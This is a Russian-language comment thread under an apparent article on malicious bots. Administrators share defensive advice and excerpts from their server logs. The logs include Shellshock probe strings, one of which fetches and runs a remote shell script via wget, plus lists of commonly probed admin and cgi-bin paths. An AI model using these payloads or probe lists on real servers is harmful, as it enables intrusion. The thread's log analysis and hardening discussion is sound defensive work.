Comments 21
Не стоит забывать о ботах:
1) проверяющих формы загрузки файлов на сайте на возможность залить произвольный файл на сервер (встречается например если программист забыл поставить проверку, что залить на сервер можно только картинку или проверяет только на вхождение ".jpg", тогда может сработать заливка blackdoor.jpg.php)

2) Проверяющих формы комментирования и т.п. на возможность залить рекламу или произвольный javascript код, для воровства трафика или дохода за контекстной рекламы.

Кстати, кроме «светлых» и «темных», есть ещё «серые» боты, это боты, которые не пытаются получить доступ к информации или как-то навредить сайту, однако пытающиеся получить ту информацию или возможности, что обычно ботам не доступны (например, на сайте бронирования билетов онлайн, пытаются получить данные о всех возможных рейсах). Почему серые? Потому что не всегда смысл таких ботов в том чтобы нанести вред, иногда у сайта нет подходящего api (или его получить слишком сложно) для вполне мирных и полезных целей (например, для того чтобы моментально обновлять ассортимент и цены на сайте посредника при изменениях на сайте производителя).
nvv, цены бы вам не было, если бы в конце поста была фраза «И для того, чтоб сэкономить тебе время, дорогой %username%, я запилил простейший онлайн-чекер, методы скана которого честно буду поддерживать актуальными как минимум некоторое время». Идея не нова, но результаты беглого поиска по чекерам делятся на 3 категории:
  1. Наверняка рабочие, но требующие доната
  2. Возможно рабочие, но какие-то мутные, больше похожие на сборщики email-ов
  3. Как это вообще попало в результаты поиска?

Возможно, неплохое заделье на грядущие выходные ;)
cmepthuk, спасибо за идею, но утилит для разбора логов много, а онлайн-чекер для переваривания логов — очень ресурсоемкая штука. Или я не так понял?
Идея в чекере, что анализирует сайт на «потенциальные уязвимости» (в той или иной мере), и выводит удобочитаемый результат; в минимальном варианте выполняя HEAD запросы по списку «потенциально-опасных» урлов, и в случае ответа == 200 || 304 — выводить пользователю сообщение об этом. Дальше — глубже, сканировать порты и брать фингерпринты, искать версии по, детектить популярные cms и анализировать их на широкие уязвимости и «ой, забыл удалить», и так далее
Меня очень радует по ссылке /phpmyadmin заливать honeypot даже с приглашением вида «для пользователя root не задан пароль» с логированием POST-запросов в fail2ban.
А почему xmlrpc.php не должно быть? Оно вроде входит в состав Wordpress.
«не должны присутствовать на [исследуемых] сайтах», в примеры не попали попытки обращения к подобному файлу в различных каталогах
Целесообразно оперативно удалять файлы с архивами, которые содержат важную или конфиденциальную информацию, т. к. они постоянно находятся в области интересов ботов.


Целесообразно не писать важную или конфиденциальную информацию, которая не должна быть доступна для скачивания, в вебрут. Это доступно обычно даже на шаред хостингах.

Лучше не рассматривать значение поля HTTP referer как достоверную информацию и, если перейти по ссылке очень хочется, предварительно проверить ссылку на сайтах антивирусных компаний и VirusTotoal.

Все это должны знать и понимать, но напомним, что переходить по неизвестным ссылкам категорически запрещено, особенно когда вы работаете на сервере с привилегиями администратора.


Странный совет. Ссылки в большинстве своем неизвестны, пока на них не перейти. Просто надо использовать нормальный броузер с нормальной обвеской плагинов для безопасности, ну еще в приватном режиме желательно или из-под тестового пользователя. И ходить можно куда угодно. И да. Запускать броузер с максимальными правами вообще прохладная идея под любой ОС.

example.org/xmlrpc.php

Перечисленные выше файлы не должны присутствовать на [исследуемых] сайтах.


А если у меня drupal?
Или если нужно писать только в вебрут, настроить на apache deny from all для каталогов с данными
А зачем боту может быть нужно подписываться на рассылку? Это тоже как-то можно корыстно использовать?
В теории можно. Например, сделав фейковую рассылку как бы от крупного сайта, что-то вроде рассылки от майл.ру или яндекса, которая в от кого пишет правильный email, текст рассылки ровно такой же как у настоящей, но все ссылки ведут на XXX сайт или что ещё хуже на сайт с кучей вирусов. В самом худшем случае они ведут на копию сайта банка или платежной системы и крадут деньги пользователей. Скажем, рассылка точная копия сбербанка, но все ссылки ведут на фековый сайт.
Так а как подписка на рассылку может помочь выполнить рассылку?
1) Делаем бота, подписывающегося на рассылку всех сайтов подряд,
2) получаем на ящик настоящую рассылку,
3) Другим ботом вычисляем email'ы пользователей сайта (иногда это возможно),
4) шлем им ту же рассылку, но с левыми url'aми,
5) profit
Да куча «гуляющих скриптов». Как узнают сайт с Wordpress, сразу ломятся в консоль… Если по нормальному, субдоменную авторизацию ставят или капчу. Но это частный случай, конечно…
я на днях решил разобрать логи отсеяв все «хорошие» запросы и получил абсолютно тоже самое. Если хотите, могу собрать все свои паттерны, хотя они примерно такие же, но cms'ок побольше. Особенно понравились запросы вида
example.com/? здесь_ничего_нет
example.com/?---------на_этом_сайте_негде_постить-------

Я для себя когда то на хилом вдске делал бан скрипты, как раз подставляя то что запрашивают боты, а боты сразу шли в бан на сутки.
А вот попытка скачать всякие архивы с корня и файлики типа password.txt у меня попытались только в последнем месяце (во всяком случае за год ни разу не пытались, старее бекапов машины просто не осталось).

Скрытый текст
/users/registrate/
/install/
/installed/
/netcat/admin/skins/default/css/login.css
/manager/templates/default/css/login-min.css
/templates/system/css/system.css
/users/forget/
/images/cms/admin/mac/common/butterfly.png
/+++++++++++++++++++++++++++++++++++++++++++++++++++++Result:+%ED%E5+%ED%E0%F8%EB%EE%F1%FC+%F4%EE%F0%EC%FB+%E4%EB%FF+%EE%F2%EF%F0%E0%E2%EA%E8;
/?%D0%BD%D0%B8%D1%87%D0%B5%D0%B3%D0%BE%20%D0%BD%D0%B5%D1%82
/?x=() { :; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 7`H; HTTP/1.0" 200 0 "() { :; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 7`H
/cpphpmyadmin/scripts/setup.php
/dump_grabber.php

а по ip обращаются в основном к cgi-bin
/cgi-bin/hello.cgi
/cgi-sys/php5
/phppath/cgi_wrapper
/cgi-bin/kontakt.cgi
/cgi-bin/kounter.cgi
/cgi-bin/backup.cgi
/cgi-bin/firewall.cgi

Что удивительно, в логе для 127.0.0.1 у меня как то попало это, хотя я знаю что кривовато настроил, но самому пробиться по 127.0.0.1 снаружи не вышло. по ходу как то обошли.
XX.XX.34.199 — - [09/Dec/2014:10:02:17 +0300] «GET /cgi-bin/authLogin.cgi HTTP/1.1» 404 162 "-" "() { :; }; /usr/bin/wget -c XX.XX.30.79/test.sh -P /tmp && /bin/sh /tmp/test.sh 0 <&1 2>&1"

куча попыток открыть pma по различным ссылкам и с маленьким регистром и с большим и с такой версией и с этой и с пятой и так и этак

Мне еще нравятся запросы типа
XX.XX.37.61 — - [07/Feb/2015:21:11:15 +0300] "\xCBjZo\xF3k\xE5u?b9\x06%\xF3\xEA<\x87\x9E\x9F\xF2\xB7!\x89\xD1\x16,\xA7?\xAD" 400 166 "-" "-" они у меня валяются в общем access логе, который к домену не привязан, он просто состоит из них.

//хватит занудства от меня, а то пойду за старыми логами еще
В некоторых случаях делали перенаправление на первую страницу сайта, надо бы посмотреть логи — переходили боты или нет.
Не пробовали перенаправлять особо настырных куда-нибудь с возможностью отследить — был переход или не было? Если переход был — можно попробовать ссылать их на один «регистратор», который сможет собирать и публиковать статистику. Для такого регистратора не нужны большие ресурсы.
Мимо веткой. Сообщение для nvv.
Не пробовал перенаправлять вообще, я посчитал что раз запросил, например pma, то это или бот или какой то кулхакер, а значит идёт в бан и нечего тут искать. И это работало, если раньше с одного ип запросов было от 5 до 20, а в запущенных случаях и сотня запросов, то стало по одному, двум в зависимости от попадания, а потом по логам запросы уже ручками я добавлял в словарь. Сейчас правда не парюсь по этому поводу т.к. машина мощная а искать в принципе нечего. Поисковики ни разу не попадали в бан.
В принципе можно попробовать и перенаправлять куда-то хотя можно оставить всё вообще как есть и просто распарсить логи. В логах же всё есть и дата и запрос и http код и ип и домен.
Или парсить логи со _своих_ ресурсов или парсить логи одного ресурса, куда перенаправляют только «левые» запросы с большого количества сайтов.
К сожалению сейчас под рукой мало актуальных журналов, а история (основной архив за длительный период) утеряна, т.к. была не особо нужна.
Only those users with full accounts are able to leave comments. Log in, please.